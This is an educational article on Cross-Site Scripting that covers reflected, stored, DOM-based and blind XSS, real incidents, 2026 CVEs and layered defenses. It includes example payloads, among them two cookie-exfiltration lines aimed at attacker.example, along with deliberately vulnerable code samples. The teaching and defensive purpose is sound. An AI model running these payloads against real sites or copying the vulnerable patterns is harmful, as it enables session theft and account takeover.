🌐 This article is also available in: Deutsch

Cross-Site Scripting (XSS): Types, Examples & Prevention

Cross-Site Scripting (XSS): a complete overview with examples

Cross-Site Scripting, or XSS, has been one of the most widespread web security flaws for more than 25 years, and it is far from a solved problem in 2026. In an XSS attack, an attacker manages to inject their own JavaScript into an otherwise trusted website, so that this code runs in other users' browsers, and crucially, it runs in the security context of that very website.

The consequences range from a harmless pop-up to full account takeover: session cookies get stolen, keystrokes captured, payment forms manipulated, or an entire fake interface overlaid on the real page. Because modern frameworks quietly neutralize many of the simplest cases, XSS is often underestimated. Yet recent CVEs in GitLab, Microsoft Exchange and the conference platform pretalx show that the vulnerability remains highly active in production software.

This article takes you from first principles to modern defense in depth. You will learn the three classic XSS types (plus blind XSS) through vulnerable code and real payloads, understand how XSS fits into the OWASP Top 10, and walk away with concrete defenses: context-aware output encoding, Content Security Policy, Trusted Types, DOMPurify, and framework-specific protection in React, Angular and Vue.

What exactly is Cross-Site Scripting?

At its core, XSS is an injection problem. An application wants to display a string that came from a user, say a search term or a comment. If that string is placed into the HTML page without proper handling, the browser can no longer tell it apart from the site's legitimate code. If the input contains HTML or script syntax, the browser interprets it as code and executes it.

OWASP puts it plainly: XSS occurs when a web application uses input from a user in the output it generates without validating or encoding it. Two conditions therefore have to come together:

  1. The application accepts data that an attacker can control (a URL parameter, a form field, an HTTP header, a stored record).
  2. That data ends up in a page without any guarantee that it will not be executable as JavaScript.

The classic proof of concept is a harmless pop-up:

<script>alert('XSS')</script>

If that box appears, arbitrary code runs. A real attack replaces alert() with something more useful, for example stealing the session cookie:

<script>fetch('https://attacker.example/?c='+document.cookie)</script>

A practical note for your own testing: since version 92, Chrome blocks alert() calls from cross-origin iframes. In those cases, print() works as a proof-of-concept substitute.

XSS in the OWASP Top 10: the A03 classification

Anyone working on web security eventually meets the OWASP Top 10, the most influential list of critical web application risks. Where XSS sits on that list has shifted over the years:

  • 2003 to 2017: XSS was its own standalone category in the OWASP Top 10.
  • 2017: XSS ranked at number 7.
  • Since 2021: XSS is folded into A03:2021 Injection, alongside SQL injection and related classes. The reasoning is sound, because XSS ultimately is an injection: input is executed as code inside an interpreter (here, the browser).

There is an important misconception this consolidation can create: XSS has not become rarer or less dangerous as a result. Its prevalence in real applications has not declined. According to the IBM Cloud Threat Landscape Report 2024, XSS was in fact the single most frequently discovered cloud vulnerability.

The same-origin policy: why XSS is so dangerous

To understand why XSS is so powerful, you need the same-origin policy (SOP), one of the browser's most important security concepts. The SOP dictates that code from one origin cannot freely access data belonging to another origin. An origin has three parts: scheme, host and port.

Different origins include, for example:

  • https://bank.example and https://shop.example (different hosts)
  • https://bank.example and http://bank.example (different scheme)
  • https://bank.example:443 and https://bank.example:8080 (different port)

The SOP stops a malicious website from reading your bank's cookies or data. And that is exactly where XSS becomes so damaging: if an attacker manages to inject code into the bank's own page, that code runs in the bank's origin. The browser treats it as a legitimate part of the page, because the server delivered it. The SOP no longer helps, because the attack comes from inside.

What a successful XSS attack enables

Injected code runs in the security context of the targeted origin and can therefore:

  • read and modify the entire DOM of the page,
  • read cookies for that origin (unless they carry the HttpOnly flag),
  • access localStorage, sessionStorage and IndexedDB,
  • make HTTP requests to the origin on the user's behalf (with their cookies and auth tokens attached),
  • log keystrokes (a keylogger inside the browser tab),
  • manipulate the display, for example overlaying a fake login form on the real page.

What XSS cannot do

It is equally important to know the limits. Ordinarily, XSS does not allow:

  • access to other origins (the SOP still protects in that direction),
  • access to the local file system (the browser sandbox),
  • direct access to other browser tabs or windows,
  • direct code execution on the operating system, that is, true remote code execution (that would require a separate browser exploit).

The types of Cross-Site Scripting

Traditionally there are three main types, classified by the path the malicious code takes. Blind XSS is an important special case of stored XSS. The table below gives an overview, and each type follows with vulnerable code, a payload and a fix.

TypeWhere does the payload live?Server involved?TriggerParticular danger
Reflected XSSin the HTTP request, echoed back immediatelyyesvictim clicks a crafted linkeasy to spread via phishing
Stored XSSpersisted on the serveryesvictim opens the affected pagehits every visitor automatically
DOM-based XSSpurely client-side in the browsernovulnerable JavaScript processes inputserver-side filters do not apply
Blind XSSstored, executed elsewhereyesan internal user (e.g. admin) opens the recordno direct feedback, hits privileged accounts

Reflected XSS (non-persistent)

In reflected XSS, the input is echoed straight back into the response within the same request-response cycle, without being stored. The classic scenario is a search feature that displays the search term unencoded.

Vulnerable server-side code, shown here as a template with interpolation:

<h1>Results for: <%= request.params.q %></h1>

If a victim opens a crafted URL such as ?q=<script>alert(1)</script>, the server builds:

<h1>Results for: <script>alert(1)</script></h1>

The browser executes the script. Because the attack needs interaction (the victim has to click the link), attackers distribute such links by email, chat or social media. The payload is "reflected" from the server back into the victim's browser, hence the name.

Fix: the search term must be context-appropriately encoded before output (see the output encoding section), turning <script> into the harmless text &lt;script&gt;.

Stored XSS (persistent)

Stored XSS goes a step further: the payload is persisted on the server, for instance in a database, and later served to other users. Typical attack surfaces are comments, forum posts, profile descriptions, product reviews or chat messages.

A vulnerable Express endpoint that stores a comment and later serves it back unencoded makes the principle clear:

// On submit: the comment is stored unfiltered in the database
app.post("/comments", (req, res) => {
  saveComment(req.body.comment);
  res.redirect("/comments");
});

// On view: every stored comment is rendered back without encoding
app.get("/comments", (req, res) => {
  const comments = getComments();
  const html = comments
    .map((c) => `<div class="comment">${c.body}</div>`)
    .join("");
  res.send(`<h1>Comments</h1>${html}`);
});

If an attacker stores a comment like <img src=x onerror=alert('hello')>, it executes on every view of the comments page, for every visitor. That is what makes stored XSS so dangerous: unlike reflected XSS, nobody has to click a crafted link. It is enough for users to visit the affected page, they are infected almost automatically.

Note the <img src=x onerror=...> pattern: an invalid image path triggers the onerror handler, which contains arbitrary JavaScript. Such event-handler payloads still work even when <script> tags are filtered out.

DOM-based XSS

DOM-based XSS is especially tricky because the attack happens entirely in the browser, and the server never even sees the payload. The vulnerable part is client-side JavaScript that writes data from an attacker-controlled source (such as the URL) unsafely into the page.

A classic example reads a parameter from the URL and writes it into the DOM via innerHTML:

const message = new URLSearchParams(window.location.search).get('msg');
document.getElementById("output").innerHTML = message;

If an attacker opens a URL like ?msg=<img src=x onerror=alert('DOM XSS')>, the payload runs directly in the browser. The crucial point: this manipulation never reaches the server, it is purely client-side. That is why server-side filters or web application firewalls often provide no protection here.

To reason about DOM-based XSS, you need the vocabulary of sources and sinks. A source is an externally controllable input point (location.hash, location.search, document.referrer). A sink is a function or property that can execute a string as code. When data flows uncontrolled from a source into a sink, DOM-based XSS is the result.

Fix: instead of innerHTML, use a safe sink such as textContent, which is guaranteed to treat input as text:

document.getElementById("output").textContent = message;

Blind XSS

Blind XSS is a variant of stored XSS in which the attacker cannot see the result directly. The payload is stored in one place (for instance a support ticket or feedback form) and only executes later somewhere else entirely, often in an internal admin area when an employee opens the record.

A typical payload targets exactly that privileged environment:

<script>new Image().src='https://attacker.example/steal?c='+document.cookie</script>

The catch: the attacker gets no feedback at all about whether or when the code runs. That is precisely why specialized callback platforms like XSS Hunter exist, which send a notification the moment the payload fires somewhere in the backend, including where it happened. Because blind XSS often hits privileged accounts, the impact can be severe.

Safe and unsafe sinks

A key tool against DOM-based XSS is deliberately choosing the right DOM API. Some functions interpret the strings they receive as HTML or code (unsafe sinks), while others are guaranteed to treat them as plain text (safe sinks).

Dangerous sinks to avoid with user data:

  • element.innerHTML, element.outerHTML, element.insertAdjacentHTML()
  • document.write(), document.writeln()
  • eval(), new Function(), setTimeout() and setInterval() with a string argument
  • <iframe srcdoc>, DOMParser.parseFromString()

Safe sinks to use instead:

  • .textContent and .innerText
  • .insertAdjacentText()
  • .setAttribute(name, value) for safe attributes
  • .createTextNode() and .createElement()
  • formfield.value, .className

OWASP's rule of thumb: refactor code so that it uses one of these safe sinks instead of innerHTML. Where raw HTML is unavoidable (such as a WYSIWYG editor), it must go through a sanitizer like DOMPurify.

Real-world cases: XSS is not a textbook problem

The Samy worm (2005)

The most famous XSS incident in history is the Samy worm. On 4 October 2005, Samy Kamkar placed a stored XSS payload in his own MySpace profile. Anyone who viewed his profile executed the code automatically. It did two things: it displayed the text "but most of all, samy is my hero" on the victim's profile, and it copied itself into that profile as well, so the worm spread exponentially with every further profile view.

The result: in roughly 20 hours the worm infected over a million profiles, making it the fastest-spreading virus of its time. MySpace had to take the platform offline temporarily to fix the flaw. For Kamkar the case had real criminal consequences: in 2006 he was raided by the U.S. Secret Service, and in 2007 he pleaded guilty to a felony, receiving three years of probation and community service. The case vividly demonstrates that stored XSS can self-replicate like a worm.

British Airways and Magecart (2018)

A more modern example of the economic stakes is the wave of attacks known as Magecart. Attackers injected malicious JavaScript into the checkout pages of online shops to skim credit card details as they were typed in. Strictly speaking, Magecart is client-side web skimming, meaning script injected into or tampered with on the site's own origin, rather than a classic input-based XSS flaw (reflected or stored). It still illustrates the same core effect, though: attacker-controlled script running in the security context of a trusted page. A prominent victim was British Airways: around 380,000 payment records were harvested, resulting in one of the first major fines under the GDPR. The UK data protection authority (ICO) initially announced a record fine of around 183.39 million GBP in 2019 (a notice of intent), then reduced it to a final 20 million GBP in October 2020. Attacks like this prove that injected script can do far more than trigger a pop-up.

2026 CVEs: XSS is highly active

That XSS is no historical curiosity becomes clear from a look at current vulnerabilities. In 2026 alone, numerous high and critical CVEs were published in well-known software:

CVEProductTypeCVSS
CVE-2026-47646Microsoft Dynamics 365 Customer VoiceXSS9.3
CVE-2026-10086GitLab Enterprise EditionXSS in the analytics dashboard8.7
CVE-2026-0695ConnectWise PSAstored XSS8.7
CVE-2026-41241pretalxstored XSS to account takeover8.7
CVE-2026-42897Microsoft Exchange (OWA)XSS8.1
CVE-2026-0266Palo Alto Networks PAN-OSstored XSS in the web interfacehigh

Especially instructive is CVE-2026-41241 in the pretalx conference software: according to the advisory, this stored XSS explicitly bypasses existing CSP and innerHTML defenses and leads to full account takeover. The lesson is central to this article: defenses only work if they are configured correctly. Simply having a CSP is no guarantee. That even a firewall product like PAN-OS is affected underlines that XSS can strike any category of software.

Preventing XSS: defense in depth

No single measure prevents every XSS. OWASP calls the goal "perfect injection resistance," meaning every variable in an application must be protected through a combination of validation, encoding and sanitization. In practice, you therefore layer several defenses (defense in depth):

  1. Context-aware output encoding by default (framework layer)
  2. HTML sanitization wherever raw HTML is unavoidable
  3. Content Security Policy (enforced by the browser)
  4. Trusted Types (hardening the DOM sinks)
  5. HttpOnly cookies (limiting the damage)

Context-aware output encoding

The most important and effective baseline is output encoding: before output, dangerous characters are converted so the browser reads them as text rather than code. In the HTML body context, & becomes &amp;, < becomes &lt;, > becomes &gt;, " becomes &quot; and ' becomes &#x27;.

The key word is context-aware: different places in a document call for different encoding rules. What is safe in the HTML body can remain dangerous inside an attribute or a <script> block.

ContextEncodingNote
HTML bodyentity encoding (&lt;, &gt;, &amp; ...)the default case, usually sufficient
HTML attributeall characters as &#xHH;, always quote the attributeunquoted attributes are dangerous
JavaScript\xHH or \uXXXX encoding, only inside quoted valuesalmost never safe directly in <script>
CSShex encoding \XX, only in property valuesnever in selectors
URLpercent encoding %HH, allow only http/httpsURL-encode first, then attribute-encode

A vivid example of the attribute context: an unquoted attribute can be broken out of with a smuggled event handler. The following is unsafe:

<div class={{ my_class }}>...</div>

An attacker sets my_class to some_id onmouseover=alert(1), injecting a new event handler. The fix is to quote the attribute:

<div class="{{ my_class }}">...</div>

The good news: modern template engines and frameworks handle context-appropriate encoding largely automatically. You should still understand the principle in order to recognize the exceptions.

HTML sanitization with DOMPurify

Sometimes you deliberately want users to submit HTML, for example in a rich-text editor. Here plain encoding would break functionality, because even the desired markup would appear as text. The answer is sanitization: a library strips dangerous elements and attributes (<script>, onerror and so on) while leaving safe markup intact.

OWASP explicitly recommends DOMPurify for this, maintained by the Berlin-based security firm cure53. Basic usage could not be simpler:

const clean = DOMPurify.sanitize(dirty);

Dangerous input becomes cleaned HTML, for example:

// Input:  <img src=x onerror=alert(1)//>
// Output: <img src="x">

DOMPurify defends not only against basic scripts but also against advanced bypass techniques such as mutation XSS (mXSS), namespace confusion and DOM clobbering, categories that simple filters usually miss. One important rule: do not modify the sanitized string afterwards. Post-processing already-cleaned HTML can undo the protection. And keep the library up to date, since new bypass techniques are regularly discovered and patched.

Content Security Policy (CSP) and its limits

A Content Security Policy is an additional line of defense enforced by the browser. Through an HTTP header you define which sources scripts may load from and whether inline scripts may run. An effective, "strict" CSP only allows scripts with a matching nonce or hash and blocks:

  • inline event handlers like onclick or onerror,
  • javascript: URLs,
  • dangerous APIs like eval(),
  • all scripts without a valid nonce or valid hash.

A simplified example of a strict CSP with a nonce:

Content-Security-Policy: script-src 'nonce-r4nd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Only a script tag with the matching nonce runs:

<script nonce="r4nd0m123">/* legitimate code */</script>

As important as CSP is, it is explicitly defense in depth, not the primary control. OWASP warns against relying on CSP alone: browser support varies, blanket enterprise-wide policies often break legacy applications, and a weak or misconfigured CSP can be bypassed. That is exactly what the pretalx case above (CVE-2026-41241) demonstrated, where stored XSS defeated an existing CSP. CSP reduces the damage, but it never replaces correct encoding and sanitization.

Trusted Types: eliminating DOM XSS structurally

Trusted Types is one of the most effective modern defenses. OWASP describes it as one of the few controls that eliminates entire classes of DOM XSS. The principle: Trusted Types forces dangerous DOM sinks to reject plain strings. Assigning a raw string to innerHTML throws a TypeError when the policy is enforced. Only objects explicitly marked as trusted are allowed, and they must have passed through a checking or sanitizing function.

You enable it via a CSP header. It is advisable to start in report-only mode, so you can find violations without breaking the application:

Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri //my-csp-endpoint.example

Once all violations are resolved, enforce it:

Content-Security-Policy: require-trusted-types-for 'script'

Without Trusted Types, the following code now throws an exception:

const userInput = "I might be XSS";
const element = document.querySelector("#container");

element.innerHTML = userInput; // Throws a TypeError

You make it clean by defining a policy that pushes the input through DOMPurify:

const sanitizer = trustedTypes.createPolicy("my-policy", {
  createHTML: (input) => DOMPurify.sanitize(input),
});

const userInput = "I might be XSS";
const element = document.querySelector("#container");

const trustedHTML = sanitizer.createHTML(userInput);
element.innerHTML = trustedHTML;

For code you cannot change (third-party scripts), there is the default policy pattern, which catches all violations:

if (window.trustedTypes && trustedTypes.createPolicy) {
  trustedTypes.createPolicy('default', {
    createHTML: (string, sink) =>
      DOMPurify.sanitize(string, {RETURN_TRUSTED_TYPE: true})
  });
}

An important point to grasp: Trusted Types does not sanitize on its own, it merely enforces that a sanitization function is called. The big step forward in 2026 is availability: Trusted Types is now supported across all major browsers (Chrome and Edge from 83, Firefox from 148, Safari from 26), so it is ready for production.

HttpOnly cookies for damage limitation

Session cookies with the HttpOnly attribute are invisible to JavaScript, document.cookie no longer returns them. This blocks the simplest form of cookie theft via XSS. An important nuance: HttpOnly does not prevent XSS, it only limits the damage. An injected script can still make API calls on the user's behalf, because the browser attaches HttpOnly cookies to every request automatically. Combine the attribute with Secure and an appropriate SameSite setting.

Anti-pattern: WAF as the primary defense

A common misconception is to treat a web application firewall (WAF) as the main protection against XSS. OWASP explicitly advises against this. A WAF filters patterns in HTTP traffic, but:

  • it misses DOM-based XSS entirely, because that attack never reaches the server,
  • it cannot know the context, a filter has no idea whether a value later lands in the HTML body, an attribute or in JavaScript,
  • it introduces errors such as double encoding ("O'Hara" becomes "O\\'Hara"),
  • it is unreliable against constantly evolving bypass techniques.

A WAF can be a useful additional layer, but it is never a substitute for correct encoding, sanitization and CSP.

Framework-specific protection: React, Angular and Vue

Most modern web applications are built with a framework. The good news: React, Angular and Vue encode dynamic values by default and thereby prevent most simple XSS cases. The bad news: each framework offers deliberate escape hatches that bypass this protection, and those are precisely the main risk factor in modern single-page applications.

React

React escapes all values embedded in JSX expressions before they reach the DOM. The following expression is safe, because React treats props.name as text:

export function App(props) {
  return <div>Hello, {props.name}!</div>;
}

The dangerous exception is dangerouslySetInnerHTML, which Invicti names the most common XSS vector in React applications. A typical mistake is unsanitized markdown rendering:

function MarkdownViewer({ content }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: marked(content) }} />
  );
}
// Malicious input: ![x](x "onerror='alert(1)'")

Equally risky are raw-rendered API data or directly passed-through HTML. The rule: use dangerouslySetInnerHTML only when absolutely necessary, and run the input through DOMPurify first. Note too that eval(), innerHTML or unchecked dynamic URL segments enable XSS even inside React. React is not immune. For a hands-on walkthrough, see our guide to XSS protection in React.

Angular

By default, Angular treats values bound in templates as untrusted and context-safe. To bypass this protection, you must explicitly call bypassSecurityTrustHtml (or relatives like bypassSecurityTrustScript, bypassSecurityTrustUrl) via the DomSanitizer. The name says it all: these methods deliberately switch off Angular's protection and should only be used with values that have already been sanitized and are genuinely trusted. The [innerHTML] property binding also deserves caution.

Vue

In Vue, ordinary text interpolation ({{ ... }}) encodes automatically. The escape hatch here is v-html: this directive renders raw HTML and thereby bypasses escaping. Never point v-html at content that is even partly derived from user input without sanitizing it first. For more, see our overview of Vue.js security best practices.

The same pattern holds across all frameworks: dangerouslySetInnerHTML, bypassSecurityTrust* and v-html are the points where you take responsibility for security yourself. Wherever possible, pair them with DOMPurify and a strict CSP.

Testing for XSS: tools for development and pentesting

Dealing safely with XSS also means actively hunting for flaws. An established ecosystem of tools helps:

  • Burp Suite: the web vulnerability scanner detects reflected, stored and DOM-based XSS and copes with obstacles like CSRF tokens and JavaScript-heavy applications. The Community Edition is free, while the Professional version costs around 449 US dollars per year and user.
  • XSStrike: a free, open-source tool with an intelligent, context-aware payload generator and fuzzing engine, supporting reflected, stored and DOM-based XSS, capable of bypassing WAFs and minimizing false positives. Our step-by-step guide shows how to use XSStrike.
  • OWASP ZAP: the free, open-source Zed Attack Proxy, a full alternative for automated scanning.
  • XSS Hunter: a callback platform specifically for blind XSS, it reports whether and where a planted payload was executed.

A legal note: only use these tools against systems you have explicit permission to test. For continuous protection, it is worth integrating DAST tools into the CI/CD pipeline as well, so new flaws surface early in the development process.

Frequently asked questions about XSS

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting is a web security flaw where an attacker injects their own JavaScript into an otherwise trusted website. That code then runs in other users' browsers, in the security context of the site itself. At its core, XSS is an injection problem: user input ends up in the page unchecked, and the browser interprets it as code.

What is the difference between reflected, stored and DOM-based XSS?

Reflected XSS echoes the input straight back within the same request, so the victim has to click a crafted link. Stored XSS persists the payload on the server and automatically hits every visitor who opens the affected page. DOM-based XSS happens entirely in the browser: vulnerable JavaScript writes data from a source such as the URL unsafely into the page, and the server never sees the payload.

How do you prevent XSS?

The most effective protection is a combination of layers. Context-aware output encoding, usually automatic through your framework, is the baseline, backed by DOMPurify wherever raw HTML is unavoidable. Add safe sinks such as textContent instead of innerHTML, Trusted Types, a strict Content Security Policy, and HttpOnly, Secure and SameSite cookies to limit the damage.

Is XSS still a threat in 2026?

Yes. Even though XSS has been folded into A03:2021 Injection since 2021, the vulnerability has not become rarer. According to the IBM Cloud Threat Landscape Report 2024, XSS was in fact the most frequently discovered cloud vulnerability. Recent 2026 CVEs in GitLab, Microsoft Exchange and the conference platform pretalx show the flaw is still highly active in production software.

Conclusion: understand XSS and defend in depth

Cross-Site Scripting remains one of the most relevant web vulnerabilities, because modern applications offer countless places where user input flows into pages. Once you understand the three core types (reflected, stored, DOM-based) plus blind XSS and the interplay of sources and sinks, you spot the patterns in your own code much faster.

The most effective protection is not a single tool but a combination of layers:

  1. Context-aware output encoding by default, usually automatic through your framework.
  2. DOMPurify everywhere raw HTML is unavoidable.
  3. Safe sinks (textContent instead of innerHTML) in client-side code.
  4. Trusted Types to structurally harden the DOM sinks, available in all major browsers as of 2026.
  5. A strict CSP with nonce or hash as an additional, browser-enforced defense.
  6. HttpOnly, Secure and SameSite cookies to limit the damage.
  7. In frameworks: consistently avoid the escape hatches dangerouslySetInnerHTML, bypassSecurityTrust* and v-html, or use them only with sanitization.

The 2026 CVEs, above all the pretalx case where an existing CSP was bypassed, drive home the most important lesson: defenses only work when they are configured correctly and combined. It is exactly this defense in depth that turns a vulnerable application into a resilient one.